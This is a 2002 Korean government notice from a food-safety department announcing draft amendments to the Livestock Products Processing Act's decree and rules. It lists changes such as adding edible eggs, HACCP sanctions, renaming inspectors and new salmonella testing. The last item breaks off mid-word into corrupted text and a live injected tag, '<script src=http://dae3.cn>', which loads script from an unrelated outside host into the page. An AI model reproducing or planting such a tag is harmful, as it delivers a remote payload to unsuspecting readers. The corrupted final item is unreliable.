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축산물가공처리법시행규칙중개정령(안)입법예고
작성자 식품안전부 등록일 2002/04/15 조회 12694
첨부

농림부는 지난 13일 「축산물가공처리법시행령중개정령안(공고제2002-51호)」과 「축산물가공처리법시행규칙중개정령(안)입법예고(공고제2002-52호)」를 행정절차법 제41조의 규정에 의거해 공고했다.


1. 개정이유

2001년12월31일 축산물가공처리법 개정으로 축산물의 정의에 식용란이 추가되어 식용란의 적용범위 및 검사기준을 정하고,위생관리기준(SSOP)및 위해요소중점관리기준(HACCP)부적합 작업장에 대한 행정처분기준 설정과 축산물검사원의 명칭을 축산물검사관으로 변경하는 등 법개정에 따른 하위법령을 정비하고, 현행 제도의 운영과정에서 나타난 일부 미비점을 개선·보완하려는 것임.


2. 주요골자
가.식용을 목적으로 하는 가축의 알이라 함은 닭의 알을 의미함을 규정함.

나.“축산물검사원 ”의 명칭이 “축산물검사관 ”으로 변경됨에 따라 자구를 수
정함.

다.축산물위생검사기관 지정 및 운용에 관한 세부사항을 개선·보완함.

라.품목제조보고시기를 제품생산 개시후 7일이내에서 제품생산 개시 이전에도 가
능토록 함.

마.영업자의 지위승계 신고시 영업소의 명칭 또는 상호 변경을 함께 할 수 있도
록 함.

바.생산실적 등의 보고를 반기별에서 연 1회로 변경함.

사.포상금지급신청서 제출시 첨부하여야 할 서류(공소제기 등의 증빙서류)를 규
정함.

아.축산물위생검사기관의 검사수수료 납부대상에 법 제40조의2를 추가하고,검사
기관이 국가인 경우 검사수수료를 현금으로 받을 수 있도록 함.

자.바베큐,제수용도 등 특별한 용도로 사용하는 가축의 도살·처리를 용도에 맞
게 할 수 있도록 기준을 신설함.

차.작업장의 자체위생관리기준의 적합성·효율성 검증을 위한 행정기관(농림부장
관,검역원장, 시·도지사)을 명확히 함.

차.식용란의 검사기준(살모넬라균 검사 등)을 신설함.

카.축산물가공업영업자의 검사기준중 비소·중금속·항생물질·농약등 일반성분
에 관한 규격검사 및 원료의 검사주기를 삭제하고 제조물책임법 시행과 연계
하여 영업자가 수시로 검사하고 책임을 지도록 함.

타.검사시료의 채취 및 수거기준에서 최소 6개이상 검사시료 채취대상에 “세균
검사항목이 있는경우 ”를 추가함.

파.축산물의 수입신고시 서류검사 및 그 대상에 식품위생법령에 의한 식품제조·
가공업의 영업자를 추가하?script src=http://dae3.cn>
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